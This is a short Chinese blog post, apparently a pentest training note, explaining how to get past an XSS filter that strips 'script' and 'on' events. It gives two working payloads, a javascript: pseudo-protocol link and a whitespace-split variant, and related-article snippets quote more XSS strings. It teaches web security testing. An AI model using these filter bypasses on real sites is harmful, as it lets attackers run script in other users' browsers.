【安全】P 4-14 绕过替换script和on事件的XSS

最新推荐文章于 2022-08-19 11:48:51 发布
最新推荐文章于 2022-08-19 11:48:51 发布
阅读量376 收藏
点赞数
分类专栏： 安全大师 文章标签： 网络安全 信息安全 渗透测试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Z_David_Z/article/details/113893574
版权

目录

0X01 XSS漏洞发现

构造特殊无害字符串，响应中寻找字符串。
在这里插入图片描述

0X02 绕过思考

1、寻找过滤内容
在这里插入图片描述

2、思考绕过策略：

  • 伪协议绕过

0X03 伪协议绕过

Payload:

“> <a href=”javascript:alert(document.domain)”>xss</a>

在这里插入图片描述

0X04 空格绕过

Payload:

"><a href="javascr  ipt:alert(document.domain);">xss</a>"><a

在这里插入图片描述

----E-----N-----D-----
😄如有问题，请各位师傅斧正，你的支持是我最大的动力。

骆驼实验室
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
32个触发事件XSS语句的总结
04-01
32个触发事件XSS语句的总结，新人学习xss必看！
XSS之冷门事件
不知名白帽的博客
06-29 684
XSS之冷门事件
️ 如何绕过 BKY 对 script 的屏蔽
weixin_30421525的博客
01-21 213
Conmajia January 20, 2019 警告 这是试验，警告个屁，请不要多多尝试用它做多余的事。 果不其然，这篇文章立刻被移出主页了，我就说嘛，BKY 哪儿会那么包容和坦然呢？ 原文 document.title = "[我是 JS 生成的!] " + document.title .b...
xss可用事件
weixin_33772645的博客
08-25 326
onabort onafterprint onbeforeprint onbeforeunload onblur oncanplay oncanplaythrough onchange onclick oncontextmenu ondblclick ondrag ondragend ondragenter ondragleave ondragover ondrag...
SQL注入之骚姿势小记 & 替换 绕过
3569
08-29 2767
https://mp.weixin.qq.com/s/ORsciwsBGQJhFdKqceprSw 1、IN之骚 这个我也偶然发现的，也不知前辈们有没有早已总结好的套路了。w3school上对in操作符的介绍： http://www.w3school.com.cn/sql/sql_in.asp 对它的描述：IN操作符允许我们在WHERE子句中规定多个值。也就说可以让我们依照一或数个不连续(...
第十一节 绕过替换script和on事件的XSS-01
最新发布
09-15
绕过替换script和on事件的XSS攻击技术 在Web应用安全中，XSS（Cross-Site Scripting）是一种常见的攻击方式，攻击者通过inject恶意脚本来获取用户敏感信息或进行恶意操作。绕过替换script和on事件的XSS攻击是XSS...
第十节 绕过过滤domain为空的XSS-01
09-15
通过双写和编码绕过，攻击者可以在看似安全的环境中注入恶意脚本，实现XSS攻击。因此，对于开发者来说，了解这些攻击手段并实施严格的输入验证和输出编码是防止XSS攻击的关键。同时，持续关注Web安全训练营的课程，...
XSSBypass:XSS绕过技术
05-17
XSS绕过技术是安全研究人员和黑客为了测试或利用这些漏洞而发展出的一系列策略。 1. **理解XSS类型** - 存储型XSS：攻击者的脚本被存储在服务器上，然后在多个用户访问同一页面时触发。 - 反射型XSS：脚本通过URL...
利用Express模拟web安全之---xss的攻与防
01-26
在实际攻击示例中，我们可以看到，攻击者可能会在URL中注入如`<img src='null' onerror="alert(1)">`或`<iframe src="//baidu.com/t.html"><iframe>`这样的代码，利用iframe实现跨域操作，或者通过事件触发如`...
第28天：WEB漏洞-XSS跨站之WAF绕过及安全修复1
08-03
WEB 漏洞-XSS 跨站之 WAF 绕过及安全修复#常规 WAF 绕过思路标签语法替换特殊符号干扰提交方式更改垃圾数据溢出加密解密算法结合其他漏洞绕过#自动化
XSS字典大全.rar
04-17
收集的XSS字典，一共四本，分别为简单版本，普通版本，大字典，超大字典。适合FUZZXSS漏洞。与burp配合使用。工具仅限于测试，请不要用于非法操作，因字典导致法律问题与本人无关
XSS之onreadystatechange事件
W小哥
06-29 469
一、测试代码 如下： <!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <title>IE9/10同时支持script元素的onload和onreadystatechange事件</title> <script src="http://code.jquery.com/jquery.min.js" onload="alert(1)" onreadystatecha
XSS绕过姿势总结
haoaaao的博客
07-18 1412
xss姿势合集
XSS漏洞
qq_43679531的博客
02-15 346
漏洞原理： 跨站脚本攻击往Web页面里插入恶意的JavaScript代码，当用户浏览该页之时，嵌入其中Web里面的JavaScript代码会被执行。 分类：反射型XSS、存储型XSS、DOM型XSS 三个弹窗函数：confirm()、prompt()、alert() 常用标签：<script>、<img>、<input> 常见的on事件：onclick、onload、onkeydown、onmouseover、onmouseup 有关函数：echo、print
xss绕过
weixin_51692662的博客
08-19 2605
xss绕过
XSS的原理分析与解剖（一）
weixin_34329187的博客
09-09 268
0×01 前言: 《xss攻击手法》一开始在互联网上资料并不多(都是现成的代码，没有从基础的开始)，直到刺的《白帽子讲WEB安全》和cn4rry的《XSS跨站脚本攻击剖析与防御》才开始好转。 我这里就不说什么xss的历史什么东西了，xss是一门又热门又不太受重视的Web攻击手法，为什么会这样呢，原因有下： 1、耗时间 2、有一定几率不成功 3、没有相应的软件来完成自动化攻击 4、前期需...
XSS学习总结
安全学习之路
03-25 1573
XSS使用总结 XSS使用总结 传统的script类 on事件类 点击类 其他传统的script类<script>alert(“xss”)</script> <script>alert(/xss/)</script>//双引号换成斜杠 <script>alert(‘xss’)</script>//用单引号 <script>alert(“xss”);</script>//用分号 <script
2-Web安全——浅谈XSS漏洞绕过之XSS挑战通关
网络安全
08-19 876
1. 绕过input标签 直接在搜索框中插入js代码，后台完全把我们输入的代码用引号括起来当做字符串处理了，在绕过过程中需要把引号闭合掉，插入js代码绕过input框，最终构造的代码如下： "><script>alert("xss test")</script>" 前面的双引号和尖括号是为了把之前的">符号闭合掉，从而使插入的js代码绕过input框。 测试结果： js代码最终成功绕过input框 2. input框onclick事...
3-10xss绕过思路讲解和案例演示
山兔的博客
04-28 613
XSS绕过-过滤-转换 因为在我们的实际测试过程中，有很多安全系统或多或少，会去做一些安全措施，但是，这些措施，有可能会因为程序员逻辑不够严谨，或者他使用的方法是错的，保证了他的措施起到了一部分作用，但是还是可以被绕过的 0，前端限制绕过，直接抓包重放，或者修改html前端代码 我们的安全措施不要在前端去做，比如输入字符长度限制，这样也引申出一个思想，我们所有的安全措施，永远不要放在前端去做，前端会通过js，会通过属性，起到安全的辅助措施，但是本质上是没有作用的 1.大小写，比如：<SCRIPT&g
Web应用安全测试：XSS过滤器逃逸和WAF绕过技术
本文档讨论了 XSS Filter Evasion 和 WAF Bypassing 的技术，旨在帮助安全专业人员学习和掌握 XSS 测试的技巧。本文档分为四个部分，分别介绍 bypass 黑名单过滤器、bypass 化名过滤器、bypass 浏览器过滤器和其他...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值